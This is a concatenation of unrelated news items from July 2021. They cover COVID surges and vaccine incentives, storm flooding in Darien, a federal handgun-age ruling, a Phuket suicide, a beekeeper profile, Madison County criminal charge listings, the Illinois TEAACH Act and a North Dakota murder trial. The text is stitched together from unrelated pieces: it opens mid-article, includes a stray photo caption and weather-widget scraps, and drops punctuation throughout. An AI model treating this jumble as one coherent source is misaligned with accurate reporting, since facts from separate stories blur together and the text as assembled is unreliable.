Wednesday's bill signing, along with the doctors' warnings, also came a day after DeWine said Ohio will soon announce a second coronavirus vaccine incentive program following the Vax-a-Million initiative that offered five $1 million prizes and five full-ride college scholarships.

___

Follow APs coverage of the pandemic at https://apnews.com/hub/coronavirus-pandemic.
PROVIDENCE, R.I. (AP)  Rhode Island officials are warning residents to avoid contact with water in four ponds because of toxic blue-green algae blooms.

Residents should avoid contact with Blackamore Pond, Spectacle Pond, and Upper J.L. Curran Reservoir in Cranston, and Mashapaug Pond in Providence, the state Department of Health and Department of Environmental Management said in a statement.
DARIEN  Tropical Storm Elsa proved devastating to Darien, with water flowing into homes and businesses, and drivers stranded on flooded roadways during the height of the storm Friday.

The town recorded 6.5 inches of rain in a six-hour period which, according to First Selectman Jayme Stevenson, designates the storm as a 50-year storm  a 1 in 50, or 2 percent, chance of occurring within the year. Stevenson even declared a local state of emergency to help facilitate emergency response and recovery efforts.

At one point Friday morning, police said more than dozen roads in town were closed because of flooding, in many cases leaving drivers stranded. Police Sgt. James Palmieri said he did not know the exact number of people being assisted, but it is multiple at any given time.

Weather forecasts the previous day did not give us an accurate prediction of the flash flooding that occurred between 7 a.m. and high tide at 11:45 a.m., First Selectman Jayme Stevenson told the Board of Selectmen on Monday. ... Folks were already going about their typical morning business and encountered innumerable flooded roads. Homeowners and businesses in flood-vulnerable areas were inundated. Areas of town that have never flooded did so on Friday.

Stevenson said the towns sanitary sewer system was inundated with ground water, rainwater and with heavy flows from illegal downspout and sump pump connections into the sanitary system.

As a result, she said, we experienced a number of sewage overflows which exacerbated the flooding issues. If you are vulnerable to flooding or your home and plumbing fixtures are at a level physically below the level of the sanitary sewer collection system in your roadway, you must install a back flow valve to prevent sewage backups into your home.

Stevenson referred those in need to the Darien Public Works Department for more information on installing a back flow valve to a homes sanitary sewer connection.

We are working with the owners of several repetitive loss properties to navigate the FEMA process, Stevenson said.

Among those were some homeowners on Crimmins Road who had flooding of water and sewage.

Fridays storm underscores the critical importance of the work the town has been doing to improve our sanitary sewer system, Stevenson said. We understand this is a very serious and difficult problem and we are working aggressively to address.

The flooding rains also overwhelmed residential septic systems adding to the sewage overflow problems, she added.

The state Department of Energy and Environmental Protection was in town (Monday) speaking with several homeowners regarding their flood damage, she said.

brian.gioiele@hearstmediact.com
FALLS CHURCH, Va. (AP)  A federal law that for more than 50 years has banned licensed firearms dealers from selling handguns to young adults between age 18 and 21 is unconstitutional, a federal appeals court ruled Tuesday.

In a 2-1 opinion, the 4th U.S. Circuit Court of Appeals in Richmond overturned a lower court ruling upholding the law.

Judge Julius Richardson, a Trump appointee, wrote that the right to bear arms is a cherished constitutional right that vests at age 18.

(W)e refuse to relegate either the Second Amendment or 18- to 20-year-olds to a second-class status, Richardson wrote.

It is unclear whether the ruling would have any immediate impact. A different appeals court, the 5th Circuit, ruled in an opposite manner on the same issue several years ago.

Also, the Bureau of Alcohol, Tobacco and Firearms, which is named as the defendant in the lawsuit, could seek an appeal before the full 4th Circuit panel. The three-judge panel that ruled Tuesday had a 2-1 majority of GOP-appointed judges, but the 4th Circuit as a whole has a narrow majority of Democratic-appointed judges.

The ATF referred questions to the Justice Department, which did not immediately respond Tuesday to a call and email seeking comment.

Richardson, in his ruling, cites recent U.S. Supreme Court precedent, particularly the 2008 Heller decision, which declared that the Second Amendment applies to individuals and not just those connected to militia service.

He also cites historical references to the time of the Founding Fathers, noting that 18-year-olds typically served in the militia at age 18.

In a dissent, Judge James Wynn, an Obama appointee, accused his colleagues of breaking new ground by invalidating a modest and long-established effort to control gun violence.

But the majoritys decision to grant the gun lobby a victory in a fight it lost on Capitol Hill more than fifty years ago is not compelled by law, Wynn wrote.

Tuesday's ruling was prompted by a lawsuit by 19-year-old Natalia Marshall, a University of Virginia student who said she wanted a handgun as protection from an abusive ex-boyfriend.

A federal law, enacted in 1968, bars federally licensed dealers from selling handguns to persons under age 21. But those age 18 and over are still permitted under federal law to purchase handguns from a private party. They also are allowed to buy long guns from a dealer.

The National Rifle Association said it applauded the decision.

The Fourth Circuit Court of Appeals recognized today that millions of young adults must be allowed to exercise their fundamental constitutional right," said Amy Hunter, the NRA's director of media relations, in an emailed statement.
WOOD RIVER  COVID-19 numbers for Madison County are showing a definite trend, and its not in the right direction.

Fueled at least in part by the rise of the Delta variant of the virus, the 10-day average case positivity rate for Madison County was 8.41% on Monday, up from 1.04% on June 20. That is the highest the 10-day rate has been since Feb. 9, when it was 8.85%.

We dont know how many of these cases are Delta because the state is tracking that, said Amy Yeager, public information officer for the Madison County Health Department. Regardless of which variant it is, its all still COVID and people are going to get sick from it and people are dying from it. Getting the vaccine will decrease your chances of going to the hospital or dying from it.

The rapid increase in the positivity rate is especially concerning to Yeager and other public health officials.

Last Thursday, our seven-day positivity rate was 6.32%, and four days later on Monday, it was 8.41%. Thats a jump of more than 2 percentage points in a very short time, Yeager said.

On June 7, our seven-day positivity rate was 1.31%, and on July 8, it was 6.32%. Thats a 382% increase in one month.

There were two COVID-related deaths in Madison County on Monday, including one female in her 60s and one female in her 70s.

Those were the first COVID-related deaths in the county since June 22 and bring the total to 508 deaths since the start of the pandemic.

On Monday, the county reported 27 news of the coronavirus (19 confirmed and eight probable). There were 34 cases on Sunday (28 confirmed and six probable) and 66 cases on Saturday (43 confirmed and 23 probable).

There are 357 active cases of COVID-19 in the county.

The seven-day rolling average of confirmed cases per day was 40 on Sunday, a five-time increase from the seven-day average of eight new cases on June 21.

The bottom line is if youre not vaccinated and youre eligible, get vaccinated, Yeager said. This is still a global pandemic and its still a new virus that were learning about.

People are getting sick and going to the hospital, our cases are going up. Weve watched our cases rise pretty rapidly over the last few weeks and hospitalizations have risen in the last week and a half. Now were starting to see deaths again.

As of Monday, there were 15 COVID patients in Madison County hospitals, with one on a ventilator.

Another 197 people in Madison County were tested for COVID on Monday, bringing the total to 349,383.

With the U.S. experiencing a rapid rise in the more transmissible Delta variant, portions of Illinois are seeing increases in positivity rates and hospitalizations.

Region 4, which borders St. Louis, has seen a huge jump in positivity rates in recent weeks. According to data from the Illinois Department of Public Health, the region had a 1.5% positivity rate on all tests on June 6. Approximately one month later, that positivity rate has now more than quadrupled, currently standing at 6.1%.

Hospitalizations have also risen dramatically in the region, increasing for 13 consecutive days, according to IDPH data.

Across Illinois, there were 460 new cases of COVID-19 reported on Monday, bringing the total to 1,397,089.

There were three new reported deaths in Illinois, bringing the total to 23,324.

State officials say more than 57% of adult residents in the state are now fully vaccinated against COVID-19, with nearly 72% receiving at least one dose.

This summer we have something that we didnt have last summer and thats a vaccine, Yeager said. At this point, anybody 12 and older is eligible for the vaccine and needs to get it to protect themselves, their families and friends and the general public.

Getting more people vaccinated will also slow the spread of the virus and the decrease the opportunity for it to have a host to continue to mutate into new variants.

As of Monday, Madison County had administered 221,357 doses of vaccine with 42.63 percent of the population (112,743) fully vaccinated.

Of the 65-and-older population, 82.80% have been fully vaccinated. But only 48.94% of the 16-64 age group has been vaccinated.

If you look at the age spread on our cases, especially during this uptick, you will notice that almost all of the cases are from people under 65, Yeager said. Basically, its not the elderly who are getting sick right now. They have more of a protective wall built around them in their age group.
Salida, CO (81201)

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Elizabethtown, KY (42701)

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Freight containers sought in as morgue space runs out

THAILAND: Thammasat University Hospital in Pathum Thani just outside Bangkok is planning to obtain two freight containers as it is running out of space to store the remains of COVID-19 victims in its morgue amid the spike of new infections in recent weeks.

CoronavirusCOVID-19deathChinesehealthVaccine

By Bangkok Post

Wednesday 14 July 2021, 08:33AM

Thammasat University Hospital in Pathum Thani. Photo: Bangkok Post

The move came as the countrys leading physician urged the public to take up any jab that is available to them - as opposed to waiting for a supposedly superior vaccine to arrive later on in the year.

In a post on its Facebook page, the hospital said it expected the number of new cases to exceed 10,000 in the coming days, as authorities are ramping up pro-active testing at high-risk areas.

The number patients which require treatment at the hospital have also increased, with four COVID-19 patients having had to be revived by cardiopulmonary resuscitation (CPR) at the emergency room before they were transferred to the intensive care unit, the post said.

As the hospital accepts referrals from across Pathum Thani and further afield, its morgue has been flooded with autopsy requests, both on those which had died at the hospital and at home, to determine if their deaths were caused by COVID-19.

As a result, the hospital will rent at least two freight containers to securely store the bodies.

The Facebook post said: We want to let people know the real situation were facing and will be facing in the next week or so.

To prevent contagion at the hospital, a 150 square-metre negative pressure chamber has been built in the emergency room, where COVID-19 patients and those at high risk of infection are isolated from other patients, the post added.

Meanwhile, Prof Prasit Watanapa, dean at the Faculty of Medicine of Siriraj Hospital and adviser to the government, urged unvaccinated people not to wait around for an alternative vaccine.

He said most critically-ill COVID-19 patients who are currently being treated at Siriraj Hospital had only received one dose of vaccine, or none at all. About half of them showed signs of severe lung infection by the time they were admitted to the hospital.

Alternative vaccines can be obtained later as a booster, if needed, he said, adding waiting for a supposedly superior vaccine is not worth the risk.

People should get vaccinated at the earliest possible opportunity, Dr Prasit added.
Man jumps from bridge to Phuket, body found

PHUKET: Police are hoping to confirm why a man jumped from Thepkrasattri Bridge, leading onto the island, earlier today (July 14). The mans body was later recovered floating near the shore.

suicidedeath

By Eakkapop Thongtub

Wednesday 14 July 2021, 04:47PM

Police at the scene earlier today (July 14). Photo: Kusoldharm Foundation Muang Mai

Lt Col Somkid Onchan of the Tha Chatchai Police was called to the scene at about 10:30am.

Police along with rescue workers from Mai Khao Tambon Administrative Organization (OrBorTor), the Kusoldharm Foundation Muang Mai branch and from Loma Rescue arrived at the scene to find a blue Phuket-registered Honda Wave motorbike parked on the bridge.

A witness at the scene told police that a man had jumped off the bridge into the water below.

Rescue workers began a search for the man, but it was a local resident who reported finding the body of a man floating face-down not far from the shore nearby at about 11:10am.

Rescue workers were dispatched and brought ashore the body, which was dressed wearing a white shirt, denim shorts and a pair of white sneakers.

The man was identified as Mai Khao resident Rungroj Normad, 47.

Mr Rungrojs body was taken to Thalang Hospital, where doctors are to perform a post-mortem examination before Mr Rungrojs body can be released to relatives.

If you or anyone you know is in dire need of emotional support and counselling, please contact the Samaritans of Thailand at their 24-hour hotline 02-713-6791 (English), 02-713-6793 (Thai) or Thai Mental Health Hotline at 1323 (Thai).
Southern Pines, NC (28387)

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Thunderstorms likely. High 76F. Winds SE at 5 to 10 mph. Chance of rain 100%. Rainfall may reach one inch..

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Rain showers in the evening becoming more intermittent overnight. Low 66F. Winds light and variable. Chance of rain 60%.
In the middle of the Saudi military students are Wajdi Mustafa (plaid shirt), interpreter for the two female instructors while in Saudi Arabia, and Sgt. 1st Class Cori Noble (center) and Master Sgt. Amelia Baysden (right).
Montreal, CA (H4T1V6)

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Partial cloudiness early, with scattered showers and thunderstorms in the afternoon. High around 29C. Winds WSW at 5 to 10 mph. Chance of rain 60%..

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Montreal, CA (H4T1V6)

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Partly cloudy with afternoon showers or thunderstorms. High around 29C. Winds WSW at 5 to 10 mph. Chance of rain 50%..

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Have an interesting bit of news youd like to see mentioned in the Along the Way column? Email it to Emma Leeuwenburgh at news@thesunchronicle.com.
News

Holmes set to retire as County Judge

By Sara Greene Heber Springs Mayor Jimmy Clark and Cleburne County Judge Jerry Holmes signing a proclamation earlier this year. Both men have announced their plans for retirement in recent meetings.

Thursdays Quorum Court meeting closed with Judge Jerry Holmes making the announcement that he will retire at the end of September to spend more time with his family.

A lot of thought, prayer and family discussion over the last few weeks has led to my decision. Recently my son Justin came back to work with the family. Now that I have both of my boys and my five grandchildren by my side, we plan on expanding our business and our cattle operation. This will no doubt take a lot of my time. Reaching the age of 65 next month has made me realize how short life really is. I have spent a good portion of my life working in some capacity for Cleburne County and now I want to spend what quality time I have working with my family. It has truly been an honor to serve as your County Judge and I wish the very best for all of you and our County in the years to come.

A moment of silence passed before someone said You deserve it, and then everyone stood to gave him a standing ovation.

No consensus on EMS

Several citizens voiced their disappointment in a civilized manner after members of the Cleburne County Quorum Court voted against helping fund any expansion for Survival Flight.

Negotiations brought the recent vote down to one location, north of the lake, along with the creation of an oversight commission to hold the service accountable by identifying and solving any problems that might arise. During the discussion, concerns arose about the differences between Survival Flight Inc., versus Survival Flight EMS; along with questions about the existing franchise agreement with Heber Springs, which is supposed to cover the entire county.

A lot of other counties have wrestled with the challenge of providing rural ambulance service. In some counties, voters were willing to pass a household to fund that service.

Our county is blessed enough, we dont want to do that or have to do that, to provide necessary life support, said Judge Jerry Holmes.

Rural ambulance service can be done, and there are many ways to make it a reality, but which path is the right fit for Cleburne County remains elusive.

Justices of the peace Sean Blackburn, Chad Evans, Sam Henegar, Jacque Martin, and Charles Tamburo, voted against the ordinance.

In other business, the Cleburne County Quorum Court voted to allow the The Sand Wedge Restaurant at 5 Kustrin Drive in Drasco, to apply for a private club permit with the Alcohol Beverage Control Board, but it was not unanimous.

Henegar brought the request before the quorum court, but did not vote in favor of it.

My stance is: my district, and quite frankly the county as a whole, has chosen to remain dry, and I dont feel like my position gives me any reason to override their wishes, so my vote would be No, based on that, he said.

Henegar, along with Justices of the Peace Evans and Roger Pearson voted no, but the motion passed.
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Scattered thunderstorms, especially in the afternoon. High 81F. Winds NNE at 5 to 10 mph. Chance of rain 40%.

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Mostly sunny skies. High 86F. Winds NE at 5 to 10 mph.
EDWARDSVILLE  Beekeeping has been a sweet hobby for Tom Simpson, but hes decided its time to cut back.

Simpson has been a beekeeper for 11 years and sells his own honey to local businesses through his own Madison County business, Bethel Refuge Apiary.

But Simpson is downsizing his apiary of 80 to 100 hives as he and his wife, Gay, prepare to move from Edwardsville to Bull Shoals, Arkansas.

Im still undecided about how many hives Ill have in Arkansas, but I hope to take some with me, said Simpson, who was named Beekeeper of the Year by the Illinois State Beekeepers Association in 2018. If not, then Ill just have to start fresh in the spring. We only have one acre compared to the 14 acres we have here.

When I get to Arkansas, the flow of the nectar will almost be over, so Ill have to feed my bees for them to survive, he said. Bees do well on refined sugar and it actually stimulates the queen and helps her to produce more brood.

Simpson, a retired union boilermaker and a member of Belleville Local 363, had been retired for a year or two when he got an email about top bar hives.

As it turned out, the message set him on the path to becoming a beekeeper.

Top bar hives are not the normal hive that most beekeepers use. We use a 10-frame Langstroth hive (the most common hive used in North America), said Simpson, who recently sold his house to a Glen Carbon couple that recently got into beekeeping. The top bar is pretty much the same design as the Langstroth except it didnt have removable frames and it didnt have the bee space.

Bee space is 3/8 of an inch  anything more, they build comb on it and anything less and the bees will fill with it propolis, which is a byproduct of tree sap. It has medicinal and anti-bacterial qualities, so it helps to immunize the hive a little bit. Drug companies actually use it and its used for varnishes, including the polish they use on Stradivarius violins.

Once Simpson learned about beehives, he was hooked on the hobby and called a friend to help him make three hives.

I had the hives before I knew anything about bees, so I did it backward, said Simpson, who will be 70 in December. I built the top bar hives and then I found out about Ray Chapman in Bunker Hill, who had been a beekeeper for 35 years. Hes a retired plumber and the ex-mayor of Bunker Hill.

After much cajoling, I persuaded him to be my mentor and weve become fast friends, he said. Hes the one who recommended me for Beekeeper of the Year.

It wasnt long before Simpsons little hobby became a big one, and his collection of hives continued to grow.

I started off with three hives with Ray and a week later, I bought another one, Simpson said. I asked him to help me hive a top bar hive because you have to persuade bees to accept your hive. The top bar isnt the easiest hive to persuade bees to stay, so we reset the frames to fit and put the bees in there and they stayed.

Bees wont leave their brood, which is their babies, he said. Theyll die before they leave the brood.

Like many beekeepers, Simpson started to catch swarms and his bee yard started to grow.

The largest swarm he caught consisted of 50,000 to 60,000 bees, which is enough to produce five boxes of honey.

We started to look for places to put bees and at one point I even advertised on Craigslist about looking for a place to park bees. You would be surprised how many people responded and told those people they would be rewarded with a portion of the harvest, Simpson said.

When it was all said and done, we had bees in OFallon, Marine, Prairietown, Moro and all over Edwardsville, he said. It was running me ragged, so I started to move all my hives closer to home and I made a circumference all around Edwardsville.

Cleveland-Heath restaurant in Edwardsville is among the local clients for Bethel Refuge Apiary, and it uses Simpsons honey for drinks, honey butter and other recipes. Other businesses that sell his honey include Green Earth Grocery and Joes Market Basket in Edwardsville Kellys Meat Market in Troy and DKs Market in Hamel.

We started getting 1,800 pounds of honey a year as long ago as eight years ago, Simpson said. Our best year was 4,000 pounds or just short of two tons. The average for us is about 2,800 pounds.

We have a lot of regular customers, but when we move to Arkansas, some of the people that we know or have mentored should be able to supply those places.

To some of the people he works with in the beekeeping community, Simpson is known as the Bee Whisperer for his ability to get the most out of his hives.

I dont know about that, but I tell them Im the other Fat Bee Man, Simpson said, laughing. There is actually a pretty well-known beekeeper who is called the Fat Bee Man and he has a big following on the internet. The average beekeeper is 60, so we work hard to try to interest young people in doing it.

While Simpson may be officially retired, beekeeping on the scale that he does is essentially a job unto itself. He typically spends several hours a day working on various bee-related chores.

My wife has taken over cutting the grass and I do the beekeeping and she helps me with it too, especially when were harvesting honey, Simpson said. I get a lot of help from people that I teach about beekeeping. I get to mentor them, and they do some of the heavier work or we share it.

I get up sometimes at 4 a.m. and, if Im selling a hive, people want to get all the bees, he said. You have to close up the hive before the bees start going out and they start going out before dawn.

The Simpsons are members of the St. Clair Beekeepers Association, which covers Madison County as well as St. Clair County.

Ive been fortunate to help out with a beginners class that they offer, Simpson said. My segment was about swarms, nucleus hives and packaged bees, any way that you produce a hive.

Simpson and his wife had been planning the move to Bull Shoals for some time now, but the timetable sped up thanks to Simpsons online beekeeping connections.

The same guy that helped me make the first hive used to fish down at Bull Shoals, Simpson said. I havent done much fishing in years even with a pond in the backyard, but its beautiful down there and the lake is crystal clear.

I advertise frequently on our club website asking if anyone would like some experience in beekeeping and I mentioned that I was setting up nucs (nucleus hives) and putting them on sale, he said. One lady said she would like to come out and she said I love your house. Is it for sale? I told her it wasnt on sale yet, but she said not to sell it because she wanted it. She and her husband have helped to pack us, and theyve earned three hives for doing that.

During the COVID-19 pandemic, more people have taken up beekeeping as a hobby, partly because they are spending more time at home.

For Simpson, thats the rare piece of good news to come out of a bad situation.

Bees are very social, not just within their own species, but they can be very social with you, Simpson said. They get to know you personally, and whoever thought you would have a relationship with a bug? They know your smell and they know your actions.

If you have the right location, bees can support your hobby, and you can break even or produce a profit. We pay our real estate taxes every year with our beekeeping.

For more information about Simpsons business, visit Bethel Refuge Enterprises on Facebook.

For more information about beekeeping, visit stclairbees.com, ilsba.com, abfnet.org or beeinformed.org.
ST. LOUIS  Cee Kay Supply, Inc., the largest family-owned independent distributor in the Midwest for industrial gases, welding equipment, and dry ice, announced Tuesday the formation of its new Employee Stock Ownership Plan (ESOP) designed to provide 49% stock benefits to the 135 employees.

The transaction has also included additional operating companies Gateway Cylinder Technologies, ArchView Carbonic and CryoGas CO2 to create the newly formed employee-owned entity CK Supply, Inc.
EDWARDSVILLE  An Edwardsville man was charged Tuesday with burglarizing a Hartford business.

Jerad D. Gettings, 32, of Edwardsville, was charged July 13 with burglary, a Class 2 felony. The case was presented by the Hartford Police Department.

According to court documents, on July 12 Gettings allegedly entered Foltz Welding, 1891 S. Delmar Ave., Hartford, to commit theft.

Bail was set at $50,000.

Other felony cases filed July 13 by the Madison County States Attorneys Office include:

 Joshua B. Lovings, 24, of Alton, was charged with aggravated unlawful use of weapons, a Class 4 felony. The case was presented by the Alton Police Department. On May 22 Lovings allegedly was found to be carrying a loaded and accessible Taurus G2C 9 mm handgun in a motor vehicle without a valid concealed carry license. Bail was set at $40,000.

 Kevin W. Clanton, 53, listed as homeless out of Alton, was charged with unlawful failure to register as a sex offender, a Class 3 felony. The case was presented by the Bethalto Police Department. On July 13 Clanton allegedly failed to register with the Bethalto Police Department after establishing a residence in Bethalto. Bail was set at $15,000.

 Jason W. Keller, 45, of Bethalto, was charged with domestic battery (second subsequent offense), a Class 4 felony. The case was presented by the Bethalto Police Department. On July 9 Keller allegedly struck and kicked a family or household member. It was noted he has a prior conviction for aggravated battery out of Madison County in 1999. Bail was set at $25,000.

 Scott A. Fox, 39, of South Roxana, was charged with unlawful violation of an order of protection (second subsequent offense), a Class 4 felony. The case was presented by the Wood River Police Department. On July 11 Fox allegedly sent a Facebook message to someone with a valid order of protection against him. Fox has a 2019 Madison County conviction for unlawful violation of an order of protection. Bail was set at $15,000.

 Wesley J. Wallace, 50, of Granite City, was charged with violation of an order of protection (second subsequent offense), a Class 4 felony. The case was presented by the Collinsville Police Department. On July 6 Wallace allegedly communicated through a third party with someone who has a valid order of protection against him. Wallace has a 2017 Madison County conviction for aggravated domestic battery. Bail was set at $15,000.

 Samuel O. Megbolugbe, 21, of Pontoon Beach, was charged with criminal damage to government supported property, a Class 3 felony. The case was presented by the Pontoon Beach Police Department. On July 12 Megbolugbe allegedly caused in excess of $500 in property damage to Chestnut Mental Health Services. Bail was set at $15,000.
EDWARDSVILLE  The Gori Law Firm has announced attorneys Jason Epps and Bob Marcus have been named the firms newest partners.

Both will work in the Edwardsville location.

Epps joined The Gori Law Firm while completing his law degree at Southern Illinois University School of Law. As an attorney, he is licensed to practice law in Illinois, Minnesota and Missouri and focuses on assisting individuals who have been injured by asbestos. He has helped hundreds of individuals navigate the complexities of receiving financial recovery in his main practice areas of asbestos litigation, product liability litigation and plaintiff personal injury.

Marcus represents injured workers, individuals and families in all areas of personal injury including trucking, motorcycle and auto accidents, nursing home negligence and the Federal Employers Liability Act (FELA). Throughout his career at the firm, he has obtained multimillion-dollar awards for his clients. Marcus is recognized for his victory in the Supreme Court of the United States, in protection of the FELA.

Jason and Bob are passionate about the work they do for our firm, and we are excited to welcome them as partners, said Sara Salger, managing partner of the firm. Both have obtained significant results for our clients in our main practice of asbestos litigation and for our personal injury division as well.

Epps and Marcus are two of nearly 200 people employed by The Gori Law Firm. Since it was established in 2008, the firm has grown to include offices in Alton, Edwardsville, Granite City, Belleville, St. Louis, New York, Los Angeles, New Orleans, Washington D.C. and Orlando.

For more details visit www.gorilaw.com or follow them on Facebook @TheGoriLawFirm.
Gov. J.B. Pritzker signed HB 376, the Teaching Equitable Asian American History Act (TEAACH), into law on Friday, making Illinois the first state in the nation to require a unit of Asian American history to be taught in public schools.

The measure will ensure every high school graduate in Illinois will learn about Asian American history as well as the rich contributions and traditions of the Asian American and Pacific Islander community.

With the recent rise in acts of violence and bigotry against the Asian American community, the state said in a press release that teaching students about the rich culture and important contributions of the Asian American community throughout history will help combat false stereotypes. This legislation adds to the progress the state has made in ensuring the content taught in Illinois classrooms reflects the diversity of the people who call Illinois home. More than 796,000 Asian American and Pacific Islander people live in Illinois, per a 2018 state estimate.

"Today, we are reaffirming our commitment to creating more inclusive school environments," Pritzker said in a statement. "We're making Illinois the first state in the nation to require that Asian American history will be taught in public schools, including a unit about the Asian American experience. We are setting a new standard for what it means to truly reckon with our history. It's a new standard that helps us understand one another, and, ultimately, to move ourselves closer to the nation of our ideals."

The new legislation, which takes effect Jan. 1, 2022, adds a new section on Asian American history study to the Illinois School Code. Beginning with the 2022-23 school year, every public elementary school and high school will be required to include a unit of instruction studying the events of Asian American History, including the history of Asian Americans in Illinois and the Midwest.

The bill specifies that curriculum should include the contributions of Asian Americans toward advancing civil rights from the 19th century onward, the contributions made by individual Asian Americans in government, arts, humanities and sciences and the contributions of Asian American communities to the economic, social and political development of the United States.

The state will not require or designate a specific curriculum for school districts. The Illinois State Board of Education is authorized to make instructional materials available to all school boards; however, each school board will determine the minimum amount of instructional time that qualifies as a unit of instruction as stated in the bill.

In Pritzker's first year in office, he signed a bill requiring Illinois schools to include the positive contributions of LGBTQ+ people in history lessons to foster welcoming classrooms for students of all gender identities. Pritzker's administration also created the Affirming and Inclusive Schools Task Force to identify strategies to ensure supportive school environments and disrupt patterns of discrimination. Earlier this year, Pritzker's administration expanded Black history education requirements.

"Asian American history is American history. Yet we are often invisible. The TEAACH Act will ensure that the next generation of Asian American students won't need to attend law school to learn about their heritage," said State Rep. Jennifer Gong-Gershowitz, D-Glenview, in a statement. "Empathy comes from understanding. We cannot do better unless we know better. A lack of knowledge is the root cause of discrimination and the best weapon against ignorance is education."

"The TEAACH Act is directly aligned to our district's ongoing efforts to ensure an inclusive understanding of American history in which all students and citizens are represented," wrote Elaine Kane, assistant superintendent for Alton Community Unit School District 11, in an email."This guidance will be specifically referenced in our continuous process of reviewing and revising curriculum with teaching teams."
FARGO, N.D. (AP)  The attorney for a man charged with killing his mother and a North Dakota police officer during a shootout with law enforcement who were serving eviction papers said Tuesday that although his client pulled the trigger to cause both deaths, he should not be found guilty of murder.

Defense attorney Steven Mottinger told a jury during his closing arguments that Salamah Pendleton was experiencing extreme emotional disturbance" because officers came to evict him and his mother from their Grand Forks apartment despite the ongoing coronavirus pandemic, and later because he thought officers had killed his mother, for whom he was the sole caretaker.

Clearly he is distraught. He did not perceive that he was responsible for her death, Mottinger said. He was afraid. If that is not an extreme emotional disturbance, I dont know what is.

Jurors were dismissed for the day after about four hours of deliberations. They were scheduled to resume discussions Wednesday morning.

Pendleton, 42, faces two counts of murder for the May 2020 killings of his mother, Lola Moore, and Officer Cody Holte. Investigators say Pendleton shot his mother while firing wildly on officers after they entered his home and killed Holte during a second round of gunfire. Pendleton and a Grand Forks County sheriff's deputy, Cpl. Ron Nord, were also wounded.

Grand Forks County prosecutor Carmell Mattison said Pendleton prepared for the confrontation by stocking up on ammunition for his semiautomatic rifle. She said Pendleton fired a minimum of 48 rounds using a high velocity weapon with full metal jacket bullets.

During the first exchange, Pendleton shot 20 rounds blindly through the bedroom wall, not knowing who was on the other side, Mattison said. Ballistics tests showed that one of those bullets killed his mother.

The only person who was prepared on May 27, 2020, was the defendant, Mattison said. Pendleton was waiting for law enforcement to open that door so he could pull the trigger, she said.

Mottinger suggested that manslaughter charges would be more appropriate for Pendleton, who faces life without parole if he's convicted of murder.

He was a mess. That doesnt excuse his conduct, but it sure goes a long, long way to explaining it, doesnt it? Mottinger told the jury.

Jurors could convict Pendleton of manslaughter or negligent homicide charges if they dont believe he is guilty of murder. Prosecutors are also required to prove that Pendleton did not act in self-defense, in which case he could be found not guilty in either of the killings.

Mattison said self-defense wouldn't apply because theres no evidence that the officers used excessive force. Rather, it was the officers who were defending themselves, she said.

Pendleton testified that he didnt mean to kill anyone and that his mother was unintentionally struck by a ricocheting bullet from his rifle. He said that after he saw his mothers body lying in a pool of blood, I lost my mind and I didnt know what to do.

Mattison said theres no evidence that officers fired first, as Pendleton insisted. When Nord broke into Pendletons bedroom, it took less than a second before Pendleton fired a bullet that whizzed by his head, according to investigators.

Pendleton is also charged with three counts of attempted murder, criminal mischief, terrorizing, reckless endangerment and possession with intent to deliver marijuana. Authorities say officers found large quantities of the drug, paraphernalia and cash in the apartment.

Holte, 29, was the first officer to be killed in Grand Forks since 1966 and the 58th police officer in the state to die while on duty.
EDWARDSVILLE  A Belleville man faces a felony DUI charge after a Friday incident in Alton.

Brad E. Malone, 37, of Belleville, was charged Monday, July 12, with aggravated driving under the influence while license revoked and driving while license revoked, both Class 4 felonies.

The case was presented by the Alton Police Department.

According to court documents, on July 9 Malone allegedly was found to be driving a 2008 Ford Explorer on Broadway and Main streets in Alton while under the influence of alcohol. It was noted that his drivers license had been revoked due to an out-of-state conviction for DUI. He has a 2004 Sangamon County conviction for driving while license revoked.

Bail was set at $50,000.

Other drug-related felony charges filed July 12 by the Madison County States Attorneys Office include:

 Benjamin I. Crumbacher, 28, of Edwardsville, was charged with unlawful possession of methamphetamine, a Class 3 felony, and unlawful possession of a controlled substance, a Class 4 felony. The case was presented by the Madison County Sheriffs Department. On July 10 Crumbacher allegedly was found to be in possession of less than five grams of methamphetamine, and less than 15 grams of Alprazolam. Bail was set at $20,000.

 Keith L. Burkett, 48, and Danny J. Bartholomy, 65, both of the same address in Caseyville, were each charged with unlawful possession of methamphetamine, a Class 3 felony. The case was presented by the Collinsville Police Department. On July 10 the two allegedly were found to be in possession of less than five grams of methamphetamine. Bail was set at $15,000 each.

 James M. Feldmann, 40, of Granite City, was charged with unlawful possession of methamphetamine, a Class 3 felony. The case was presented by the Granite City Police Department. On July 11 Feldmann allegedly was found to be in possession of less than five grams of methamphetamine. Bail was set at $15,000.

 Aaron P. Krupinski, 40, of Wentzville, Missouri, was charged with unlawful possession of methamphetamine, a Class 3 felony. The case was presented by the Collinsville Police Department. On July 11 Krupinski allegedly was found to be in possession of less than five grams of methamphetamine. Bail was set at $15,000.
EDWARDSVILLE  Multiple methamphetamine- and fentanyl-related drug charges were filed Tuesday by the Madison County States Attorneys Office.

Cases filed July 14 include:

 Heather M. Meyer, 34, of Caseyville, was charged July 13 with two counts of unlawful possession of methamphetamine, both Class 3 felonies. The case was presented by the Collinsville Police Department. On March 4 and March 28 Meyer allegedly was found to be in possession of less than five grams of methamphetamine. Bail was set at $40,000.

 Christopher N. Raines, 40, of Springfield, Illinois, was charged with unlawful possession of methamphetamine, a Class 3 felony. The case was presented by the Alton Police Department. On Feb. 26 Raines allegedly was found to be in possession of less than five grams of methamphetamine. Bail was set at $40,000.

 Jennifer N. Jones, 36, of Caseyville, was charged with unlawful possession of methamphetamine, a Class 3 felony. The case was presented by the Collinsville Police Department. On March 25 Jones allegedly was found to be in possession of less than five grams of methamphetamine. Bail was set at $40,000.

 Dennis C. York, also known as Dennis C. Hampton, 33, and Sabrina M. Ikerman, 30, both of the same address in the 600 block of Madison Avenue, Wood River, were charged with unlawful possession of methamphetamine, both Class 3 felony. The cases were presented by the South Roxana Police Department. On June 2 York allegedly was found to be in possession of less than five grams of methamphetamine. On June 5 Ikerman allegedly was found to be in possession of less than five grams of methamphetamine. Bail was set at $15,000 each.

 Joseph E. Kennedy, 29, of Alton, was charged with unlawful possession of a controlled substance, a Class 4 felony. The case was presented by the Alton Police Department. On March 19 Kennedy allegedly was found to be in possession of less than 15 grams of fentanyl. Bail was set at $20,000.

 Scott W. Hopkins, 40, of Collinsville, was charged with unlawful possession of a controlled substance, a Class 4 felony. The case was presented by the Collinsville Police Department. On March 27 Hopkins allegedly was found to be in possession of less than 15 grams of fentanyl. Bail was set at $20,000.
